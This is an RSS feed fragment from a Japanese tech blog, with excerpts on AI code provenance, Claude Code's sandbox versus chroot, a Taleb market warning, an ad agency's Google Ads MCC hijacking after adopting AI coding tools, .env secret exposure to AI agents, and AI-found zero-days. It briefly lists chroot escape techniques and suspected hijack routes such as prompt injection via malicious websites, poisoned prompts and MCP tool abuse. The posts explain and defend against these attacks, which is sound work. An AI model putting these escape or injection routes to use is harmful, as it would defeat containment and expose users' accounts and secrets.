&lt;p&gt;&lt;a href="https://news.ycombinator.com/item?id=47212355"&gt;Hacker News での議論&lt;/a&gt;では、AI が生成したコードのセッション履歴をコミットに紐づけるべきか否かが活発に議論されています。AI コーディングの普及とともに、「コードは動くが、なぜその実装になったのか誰も分からない」という問題が深刻化しています。本記事では、この問題の構造と、git-memento をはじめとする解決策の技術的な仕組みを掘り下げます。&lt;/p&gt;
&lt;h2 id="問題--ai-が書いたコードのなぜが消えている"&gt;問題 &amp;mdash; AI が書いたコードの「なぜ」が消えている&lt;/h2&gt;
&lt;h3 id="vibe-coding-時代の追跡可能性の危機"&gt;Vibe Coding 時代の追跡可能性の危機&lt;/h3&gt;
&lt;p&gt;2026 年、AI コーディングツール（Claude Code、Cursor、GitHub Copilot など）でコードを書くことが日常になりました。しかし、AI が生成したコードには構造的な問題があります。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;従来の開発:
開発者が考える → コードを書く → コミットメッセージに意図を記録
→ 「なぜそうしたか」は開発者の頭の中 + コミット履歴にある
AI 駆動開発:
開発者が指示する → AI が考える → AI がコードを書く → コミット
→ 「なぜそうなったか」は AI セッションの中に閉じている
→ セッションが終わると消える
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;CodeRabbit の分析（2025 年 12 月）によると、AI と共著されたコードは人間が書いたコードと比較して、ロジックエラーが 75% 多く、セキュリティ脆弱性が 2.74 倍多いとされています。問題が発見されたとき、「なぜこの実装になったのか」を遡れなければ、修正の方針すら立てられません。&lt;/p&gt;</description></item><item><title>Claude Code サンドボックス完全解説 — chroot ではない、カーネルレベル隔離の仕組みと実践設定</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%82%B5%E3%83%B3%E3%83%89%E3%83%9C%E3%83%83%E3%82%AF%E3%82%B9%E5%AE%8C%E5%85%A8%E8%A7%A3%E8%AA%AC-chroot-%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%84%E3%82%AB%E3%83%BC%E3%83%8D%E3%83%AB%E3%83%AC%E3%83%99%E3%83%AB%E9%9A%94%E9%9B%A2%E3%81%AE%E4%BB%95%E7%B5%84%E3%81%BF%E3%81%A8%E5%AE%9F%E8%B7%B5%E8%A8%AD%E5%AE%9A/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%82%B5%E3%83%B3%E3%83%89%E3%83%9C%E3%83%83%E3%82%AF%E3%82%B9%E5%AE%8C%E5%85%A8%E8%A7%A3%E8%AA%AC-chroot-%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%84%E3%82%AB%E3%83%BC%E3%83%8D%E3%83%AB%E3%83%AC%E3%83%99%E3%83%AB%E9%9A%94%E9%9B%A2%E3%81%AE%E4%BB%95%E7%B5%84%E3%81%BF%E3%81%A8%E5%AE%9F%E8%B7%B5%E8%A8%AD%E5%AE%9A/</guid><description>&lt;h1 id="claude-code-サンドボックス完全解説--chroot-ではないカーネルレベル隔離の仕組みと実践設定"&gt;Claude Code サンドボックス完全解説 — chroot ではない、カーネルレベル隔離の仕組みと実践設定&lt;/h1&gt;
&lt;p&gt;「Claude Code のサンドボックスって、要するに chroot でしょ？」という誤解をよく耳にします。答えは明確に&lt;strong&gt;ノー&lt;/strong&gt;です。Claude Code のサンドボックスは chroot とは次元の異なるカーネルレベルの隔離機構で、ファイルシステムとネットワークの2層を OS プリミティブで強制します。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.anthropic.com/engineering/claude-code-sandboxing"&gt;Anthropic のエンジニアリングブログ&lt;/a&gt;によると、サンドボックスにより&lt;strong&gt;承認プロンプトが84%削減&lt;/strong&gt;されました。セキュリティと生産性を両立する仕組みの全貌を、技術的な背景から実践設定まで解説します。&lt;/p&gt;
&lt;h2 id="chroot-との決定的な違い"&gt;chroot との決定的な違い&lt;/h2&gt;
&lt;p&gt;まず「chroot で十分か」という疑問に答えます。結論から言えば、&lt;strong&gt;chroot はセキュリティ対策として設計されていません&lt;/strong&gt;。&lt;/p&gt;
&lt;h3 id="隔離技術の比較"&gt;隔離技術の比較&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://book.jorianwoltjer.com/binary-exploitation/sandboxes-chroot-seccomp-and-namespaces"&gt;Practical CTF の解説&lt;/a&gt;を基に、主要な隔離技術を比較します。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;技術&lt;/th&gt;
&lt;th&gt;制限対象&lt;/th&gt;
&lt;th&gt;脱出の容易さ&lt;/th&gt;
&lt;th&gt;設計目的&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;chroot&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ファイルシステムのパス解決のみ&lt;/td&gt;
&lt;td&gt;容易（root 権限で即脱出）&lt;/td&gt;
&lt;td&gt;組織的なツール（セキュリティ目的ではない）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;seccomp&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;システムコール&lt;/td&gt;
&lt;td&gt;中程度（許可リストの漏れを突く）&lt;/td&gt;
&lt;td&gt;セキュリティ機構&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;namespaces&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;プロセス、ネットワーク、マウント&lt;/td&gt;
&lt;td&gt;困難（適切設定時）&lt;/td&gt;
&lt;td&gt;コンテナ隔離&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Seatbelt&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ファイル、ネットワーク、IPC、プロセス&lt;/td&gt;
&lt;td&gt;困難（カーネルレベル強制）&lt;/td&gt;
&lt;td&gt;アプリケーション隔離&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="chroot-の脱出方法"&gt;chroot の脱出方法&lt;/h3&gt;
&lt;p&gt;chroot がセキュリティ対策に不十分な理由を具体的に示します。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;カレントディレクトリ攻撃&lt;/strong&gt;: chroot 実行時にカレントディレクトリが jail 外にあれば、相対パスで脱出可能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;二重 chroot&lt;/strong&gt;: 別の chroot を実行して前の制限を上書き&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ファイルディスクリプタ&lt;/strong&gt;: jail 外で開かれた fd を経由してアクセス&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;openat syscall&lt;/strong&gt;: ディレクトリ fd を使って jail 外のファイルを操作&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;つまり chroot は「ルートディレクトリの表示を変えるだけ」であり、ネットワーク制限もシステムコール制限もありません。AI エージェントのサンドボックスとしては全く不十分です。&lt;/p&gt;</description></item><item><title>「ブラック・スワン」著者タレブ氏がソフトウェア業界の破綻を警告 --- AI主導相場の脆弱性とテールリスクの構造的過小評価</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%96%E3%83%A9%E3%83%83%E3%82%AF%E3%82%B9%E3%83%AF%E3%83%B3%E8%91%97%E8%80%85%E3%82%BF%E3%83%AC%E3%83%96%E6%B0%8F%E3%81%8C%E3%82%BD%E3%83%95%E3%83%88%E3%82%A6%E3%82%A7%E3%82%A2%E6%A5%AD%E7%95%8C%E3%81%AE%E7%A0%B4%E7%B6%BB%E3%82%92%E8%AD%A6%E5%91%8A---ai%E4%B8%BB%E5%B0%8E%E7%9B%B8%E5%A0%B4%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7%E3%81%A8%E3%83%86%E3%83%BC%E3%83%AB%E3%83%AA%E3%82%B9%E3%82%AF%E3%81%AE%E6%A7%8B%E9%80%A0%E7%9A%84%E9%81%8E%E5%B0%8F%E8%A9%95%E4%BE%A1/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%96%E3%83%A9%E3%83%83%E3%82%AF%E3%82%B9%E3%83%AF%E3%83%B3%E8%91%97%E8%80%85%E3%82%BF%E3%83%AC%E3%83%96%E6%B0%8F%E3%81%8C%E3%82%BD%E3%83%95%E3%83%88%E3%82%A6%E3%82%A7%E3%82%A2%E6%A5%AD%E7%95%8C%E3%81%AE%E7%A0%B4%E7%B6%BB%E3%82%92%E8%AD%A6%E5%91%8A---ai%E4%B8%BB%E5%B0%8E%E7%9B%B8%E5%A0%B4%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7%E3%81%A8%E3%83%86%E3%83%BC%E3%83%AB%E3%83%AA%E3%82%B9%E3%82%AF%E3%81%AE%E6%A7%8B%E9%80%A0%E7%9A%84%E9%81%8E%E5%B0%8F%E8%A9%95%E4%BE%A1/</guid><description>&lt;h1 id="ブラックスワン著者タレブ氏がソフトウェア業界の破綻を警告--ai-主導相場の脆弱性とテールリスクの構造的過小評価"&gt;「ブラック・スワン」著者タレブ氏がソフトウェア業界の破綻を警告 &amp;mdash; AI 主導相場の脆弱性とテールリスクの構造的過小評価&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/goroman/status/2026066866079510751"&gt;GOROman 氏（@goroman）のポスト&lt;/a&gt;で、Bloomberg の記事が紹介されていました。ベストセラー「ブラック・スワン」の著者ナシーム・ニコラス・タレブ氏が、AI 主導の株式相場がより脆弱な局面に入りつつあるとして、ソフトウェア分野での破綻と変動性の一段の高まりに備えるべきだと投資家に警鐘を鳴らした内容です。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ブラック・スワン著者タレブ氏、ソフト業界の破綻と変動拡大に警鐘
&amp;mdash; &lt;a href="https://x.com/goroman/status/2026066866079510751"&gt;@goroman&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="タレブ氏の警告--seafair-での発言"&gt;タレブ氏の警告 &amp;mdash; SeaFair での発言&lt;/h2&gt;
&lt;p&gt;タレブ氏は 2026 年 2 月、マイアミで開催された Universa Investments 主催の SeaFair イベントで発言しました。主要な論点は以下の通りです。&lt;/p&gt;
&lt;h3 id="テールリスクの構造的過小評価"&gt;テールリスクの構造的過小評価&lt;/h3&gt;
&lt;p&gt;タレブ氏は「セクター全体にわたるテールリスクは構造的に過小評価されている」と指摘しました。市場が構造的リスクを過小評価する一方で、現在の AI 分野の主導企業の持続力を過大評価しているという見方です。&lt;/p&gt;
&lt;p&gt;「リスクは小幅な調整ではない。大幅な下落だ」とタレブ氏は語っています。&lt;/p&gt;
&lt;h3 id="ソフトウェア業界の破綻リスク"&gt;ソフトウェア業界の破綻リスク&lt;/h3&gt;
&lt;p&gt;「AI で大きな利益を得る企業は出てくる」としながらも、それが現在の AI 相場を構成する企業である保証はないと指摘しました。技術の不安定さ、激しい競争、地政学の変化が業界構造を塗り替える中で、ソフトウェア分野の一部で破綻が起きる可能性が高いとの見方を示しています。&lt;/p&gt;
&lt;p&gt;歴史を振り返れば、初期の先駆者が後に取って代わられる例は少なくありません。タレブ氏は「過去数年間の市場リーダーの利益の多くは、次の勝者が出現するにつれて消し去られるだろう」と予測しています。&lt;/p&gt;
&lt;h3 id="ai-相場の集中リスク"&gt;AI 相場の集中リスク&lt;/h3&gt;
&lt;p&gt;ここ数年の株高は、AI 関連の限られた銘柄群がけん引してきました。この集中は、主導銘柄が入れ替わった場合に指数全体を脆弱にします。タレブ氏の警告は、ナスダックの「マグニフィセント・セブン」への集中度合いを考えると、より現実味を帯びます。&lt;/p&gt;
&lt;h2 id="ブラックスワンと反脆弱性--タレブ理論の背景"&gt;ブラック・スワンと反脆弱性 &amp;mdash; タレブ理論の背景&lt;/h2&gt;
&lt;p&gt;タレブ氏の警告を理解するには、彼の理論的枠組みを知ることが重要です。&lt;/p&gt;
&lt;h3 id="ブラックスワン理論"&gt;ブラック・スワン理論&lt;/h3&gt;
&lt;p&gt;「ブラック・スワン」とは、事前にほとんど予想できず、発生した場合の衝撃が極めて大きい事象を指します。タレブ氏が 2006 年に刊行した同名の著書で提唱した概念です。特徴は以下の 3 つです。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;予測困難性&lt;/strong&gt;: 通常の予測の範囲外にある&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;甚大な影響&lt;/strong&gt;: 発生した場合の衝撃が計り知れない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;事後的な説明可能性&lt;/strong&gt;: 発生後には「予測可能だった」と後付けで説明される&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="反脆弱性アンチフラジャイル"&gt;反脆弱性（アンチフラジャイル）&lt;/h3&gt;
&lt;p&gt;タレブ氏の後続作品『反脆弱性』で提唱された概念です。「頑健」が衝撃に耐えることを意味するのに対し、「反脆弱」はショックを受けることでかえって強化される性質を指します。変動性やランダム性にさらされると成長・繁栄するシステムです。&lt;/p&gt;
&lt;p&gt;これは現在のソフトウェア業界への示唆にも繋がります。AI の台頭という衝撃に対して、壊れる企業（脆弱）と適応する企業（反脆弱）に分かれるというのが、タレブ的な見方です。&lt;/p&gt;
&lt;h3 id="テールリスクヘッジ"&gt;テールリスク・ヘッジ&lt;/h3&gt;
&lt;p&gt;タレブ氏は「常にヘッジが必要だ」と述べています。彼がアドバイザーを務める Universa Investments は、テールリスク・ヘッジ戦略を専門とするファンドです。市場危機時に不均衡に利益を得る設計になっており、昨年は投下資本に対して年平均 100% 超のリターンを達成しました。&lt;/p&gt;
&lt;h2 id="市場データが示す兆候"&gt;市場データが示す兆候&lt;/h2&gt;
&lt;p&gt;タレブ氏の発言は、直近の市場データにも裏付けられています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;指標&lt;/th&gt;
&lt;th&gt;数値&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;S&amp;amp;P 500（2 月 23 日）&lt;/td&gt;
&lt;td&gt;約 1% 下落&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;金価格（2025 年 10 月〜）&lt;/td&gt;
&lt;td&gt;約 30% 上昇&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Universa のリターン（2025 年）&lt;/td&gt;
&lt;td&gt;年平均 100% 超&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;金価格の上昇は、株式市場の不安定さと地政学的緊張の高まりに対する逃避先として金が選好されていることを示しています。&lt;/p&gt;</description></item><item><title>AIコーディングツール導入でMCC乗っ取り被害 — Antigravity・Claude Codeの脆弱性とシャドーAI対策</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%83%84%E3%83%BC%E3%83%AB%E5%B0%8E%E5%85%A5%E3%81%A7mcc%E4%B9%97%E3%81%A3%E5%8F%96%E3%82%8A%E8%A2%AB%E5%AE%B3-antigravityclaude-code%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7%E3%81%A8%E3%82%B7%E3%83%A3%E3%83%89%E3%83%BCai%E5%AF%BE%E7%AD%96/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%83%84%E3%83%BC%E3%83%AB%E5%B0%8E%E5%85%A5%E3%81%A7mcc%E4%B9%97%E3%81%A3%E5%8F%96%E3%82%8A%E8%A2%AB%E5%AE%B3-antigravityclaude-code%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7%E3%81%A8%E3%82%B7%E3%83%A3%E3%83%89%E3%83%BCai%E5%AF%BE%E7%AD%96/</guid><description>&lt;h1 id="aiコーディングツール導入でmcc乗っ取り被害--antigravityclaude-codeの脆弱性とシャドーai対策"&gt;AIコーディングツール導入でMCC乗っ取り被害 — Antigravity・Claude Codeの脆弱性とシャドーAI対策&lt;/h1&gt;
&lt;p&gt;広告運用の現場に衝撃が走っています。&lt;a href="https://x.com/hassii_ad/status/2028399491565633731"&gt;広告の裏側(@hassii_ad)氏のポスト&lt;/a&gt;によると、ある代理店がAIコンサルの支援で Claude Code と Google Antigravity を導入した結果、Google Ads の MCC（マネージャークライアントセンター）アカウントが乗っ取られ、&lt;strong&gt;被害額は8桁後半&lt;/strong&gt;に達したとのことです。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;知り合いの代理店がとあるAI導入したらMCCが乗っ取られて桁違いの損害でてて震えた。こういうのこれから増えそうですね。
— 広告の裏側(@hassii_ad) 2026年2月17日&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;この事態を受けて、&lt;a href="https://x.com/ADHDHSP249834/status/2028449740762103820"&gt;まな(@ADHDHSP249834)氏&lt;/a&gt;は「AIコンサルがClaude CodeとAntigravityの導入を進めたんですかね？その時点で大問題です」と指摘しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;基本は3大LLMとCopilot程度に止めるべきです。またシャドーAI対策を進めていなかったことも想定されますね。セキュリティ対策をせずに、ローカルファイルにアクセスできるAIツールを導入するのはNGです！
— まな(@ADHDHSP249834)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="mcc乗っ取りの推定原因"&gt;MCC乗っ取りの推定原因&lt;/h2&gt;
&lt;p&gt;@hassii_ad 氏は乗っ取りの原因として4つの可能性を挙げています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;原因&lt;/th&gt;
&lt;th&gt;概要&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;悪意あるWebサイト指示&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;プロンプトインジェクションによりAIの動作を乗っ取る&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;配布プロンプトへの悪意ある指示混入&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AIコンサルまたは社員が使用したプロンプトに仕込まれた攻撃&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MCPツールの悪用&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Model Context Protocol ツールを経由した不正操作&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;トークン流出&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;自動化過程でAPIトークンや認証情報が漏洩&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;特に深刻なのは、MCCが&lt;strong&gt;正規の権限で操作された&lt;/strong&gt;場合、通常の操作と区別がつかず「補償は絶望的」という点です。Google Ads の MCC アカウントは複数の広告アカウントを一元管理する仕組みのため、一度乗っ取られると被害が連鎖的に広がります。&lt;/p&gt;
&lt;h2 id="google-ads-のセーフガードはなぜ機能しなかったのか"&gt;Google Ads のセーフガードはなぜ機能しなかったのか&lt;/h2&gt;
&lt;p&gt;Google Ads には予算制限やセキュリティ機能が存在しますが、&lt;strong&gt;正規権限で操作された場合にはほとんど機能しません&lt;/strong&gt;。&lt;/p&gt;
&lt;h3 id="既存のセーフガード一覧"&gt;既存のセーフガード一覧&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;機能&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;th&gt;乗っ取り時に有効か&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;日予算の上限&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1日の費用は&lt;a href="https://support.google.com/google-ads/answer/2375423?hl=ja"&gt;日予算の2倍まで&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;攻撃者が日予算自体を変更可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;月間費用上限&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;月間費用は日予算 x 30.4 まで&lt;/td&gt;
&lt;td&gt;同上&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;a href="https://support.google.com/google-ads/answer/7054229?hl=en"&gt;アカウント予算&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;アカウント全体の費用上限を設定可能。上限到達で全広告停止&lt;/td&gt;
&lt;td&gt;攻撃者が上限を変更・解除可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;異常な予算変更の確認&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;大幅な予算変更時（例: $100→$1,000）に確認ダイアログ表示&lt;/td&gt;
&lt;td&gt;UI操作のみ。API経由なら確認なし&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;a href="https://support.google.com/google-ads/answer/12795729?hl=en"&gt;不審なアクティビティの検知&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Google が異常を検知すると一時的な日次支出制限を適用&lt;/td&gt;
&lt;td&gt;「正規権限」の操作は異常と判定されにくい&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;自動ルール&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;一定額到達でキャンペーンを一時停止するルール設定が可能&lt;/td&gt;
&lt;td&gt;攻撃者がルール自体を削除可能&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="セーフガードが無力化される理由"&gt;セーフガードが無力化される理由&lt;/h3&gt;
&lt;p&gt;今回の事件の核心は、攻撃者が MCC の&lt;strong&gt;正規の管理者権限&lt;/strong&gt;を取得している点です。&lt;/p&gt;</description></item><item><title>Claude Code 時代の .env 管理 — 「平文で置かない」秘密情報の新しい守り方</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E6%99%82%E4%BB%A3%E3%81%AE-.env-%E7%AE%A1%E7%90%86-%E5%B9%B3%E6%96%87%E3%81%A7%E7%BD%AE%E3%81%8B%E3%81%AA%E3%81%84%E7%A7%98%E5%AF%86%E6%83%85%E5%A0%B1%E3%81%AE%E6%96%B0%E3%81%97%E3%81%84%E5%AE%88%E3%82%8A%E6%96%B9/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E6%99%82%E4%BB%A3%E3%81%AE-.env-%E7%AE%A1%E7%90%86-%E5%B9%B3%E6%96%87%E3%81%A7%E7%BD%AE%E3%81%8B%E3%81%AA%E3%81%84%E7%A7%98%E5%AF%86%E6%83%85%E5%A0%B1%E3%81%AE%E6%96%B0%E3%81%97%E3%81%84%E5%AE%88%E3%82%8A%E6%96%B9/</guid><description>&lt;h1 id="claude-code-時代の-env-管理--平文で置かない秘密情報の新しい守り方"&gt;Claude Code 時代の .env 管理 — 「平文で置かない」秘密情報の新しい守り方&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/yousukezan/status/2028331225539338571"&gt;@yousukezan 氏のポスト&lt;/a&gt;が、AI 駆動開発における秘密情報管理の盲点を端的に指摘しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Claudeが社内に広がるほど、.envが危ない。Cowork時代に必要なのは「便利さ」より秘密情報の置き場所&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;引用元の &lt;a href="https://qiita.com/taketsuyo/items/4e158dbe22bc4c8d4e0d"&gt;Qiita 記事&lt;/a&gt;では、Claude Code や Cowork が「チャットで質問するだけのツール」から「ローカルファイルに直接アクセスする開発エージェント」へ進化したことで、従来の &lt;code&gt;.gitignore&lt;/code&gt; だけでは守りきれない脅威が生まれていると論じています。本記事では、この問題の技術的背景と実践的な対策を掘り下げます。&lt;/p&gt;
&lt;h2 id="何が変わったのか--脅威モデルの転換"&gt;何が変わったのか — 脅威モデルの転換&lt;/h2&gt;
&lt;p&gt;従来の開発ワークフローでは、&lt;code&gt;.env&lt;/code&gt; ファイルの脅威モデルは明確でした。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;脅威&lt;/th&gt;
&lt;th&gt;対策&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Git リポジトリへの混入&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.gitignore&lt;/code&gt; に記載&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;本番環境への漏洩&lt;/td&gt;
&lt;td&gt;環境変数やシークレットマネージャで注入&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;他人のマシンへの流出&lt;/td&gt;
&lt;td&gt;ローカルに置く前提なので問題なし&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;ところが、Claude Code のような AI エージェントがローカルファイルを直接読み書きする時代になると、第三の脅威が加わります。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;新しい脅威&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;AI エージェントによる読み取り&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.env&lt;/code&gt; がツールの入力コンテキストに載る&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;意図しないクラウド送信&lt;/td&gt;
&lt;td&gt;読み取った内容が LLM の API リクエストに含まれる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;組織内の横展開&lt;/td&gt;
&lt;td&gt;Cowork で複数人が同じプロジェクトを触る際の露出&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;IPA「情報セキュリティ 10 大脅威 2026」でも「AI の利用をめぐるサイバーリスク」が初選出で 3 位にランクインしており、この脅威モデルの転換は業界全体の認識となりつつあります。&lt;/p&gt;
&lt;h2 id="claude-code-は-env-をどう扱うのか"&gt;Claude Code は .env をどう扱うのか&lt;/h2&gt;
&lt;h3 id="自動読み込み問題"&gt;自動読み込み問題&lt;/h3&gt;
&lt;p&gt;セキュリティ研究者 Dor Munis 氏の&lt;a href="https://www.knostic.ai/blog/claude-loads-secrets-without-permission"&gt;調査&lt;/a&gt;によると、Claude Code は &lt;code&gt;.env&lt;/code&gt;、&lt;code&gt;.env.local&lt;/code&gt; などのファイルを自動的に読み込み、API キーやトークンをメモリに展開していることが判明しています。プロキシ認証情報が意図せず読み込まれ、HTTP 407 エラーとプロキシ料金の異常な高騰として問題が顕在化しました。&lt;/p&gt;</description></item><item><title>Claude Opus 4.6 がゼロデイ脆弱性を500件発見 — AI推論がセキュリティ業界を揺るがす</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-opus-4.6-%E3%81%8C%E3%82%BC%E3%83%AD%E3%83%87%E3%82%A4%E8%84%86%E5%BC%B1%E6%80%A7%E3%82%92500%E4%BB%B6%E7%99%BA%E8%A6%8B-ai%E6%8E%A8%E8%AB%96%E3%81%8C%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E6%A5%AD%E7%95%8C%E3%82%92%E6%8F%BA%E3%82%8B%E3%81%8C%E3%81%99/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-opus-4.6-%E3%81%8C%E3%82%BC%E3%83%AD%E3%83%87%E3%82%A4%E8%84%86%E5%BC%B1%E6%80%A7%E3%82%92500%E4%BB%B6%E7%99%BA%E8%A6%8B-ai%E6%8E%A8%E8%AB%96%E3%81%8C%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E6%A5%AD%E7%95%8C%E3%82%92%E6%8F%BA%E3%82%8B%E3%81%8C%E3%81%99/</guid><description>&lt;h1 id="claude-opus-46-がゼロデイ脆弱性を500件発見--ai推論がセキュリティ業界を揺るがす"&gt;Claude Opus 4.6 がゼロデイ脆弱性を500件発見 — AI推論がセキュリティ業界を揺るがす&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/neurostack_0001/status/2028426340009959888"&gt;@neurostack_0001 氏のポスト&lt;/a&gt;が、Anthropic の衝撃的な発表を紹介しています。Claude Opus 4.6 が、ファジングやカスタムツールを使わず、コードの推論だけで500件以上のゼロデイ脆弱性を発見したという内容です。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;AnthropicがClaude Opus 4.6で「ゼロデイ脆弱性を大規模に発見できる」と発表。500件以上の高重大度脆弱性を検出・検証済み。ファジングやカスタムツール不要で、コードの推論だけで脆弱性を見つけている点が注目。&lt;/p&gt;
&lt;/blockquote&gt;
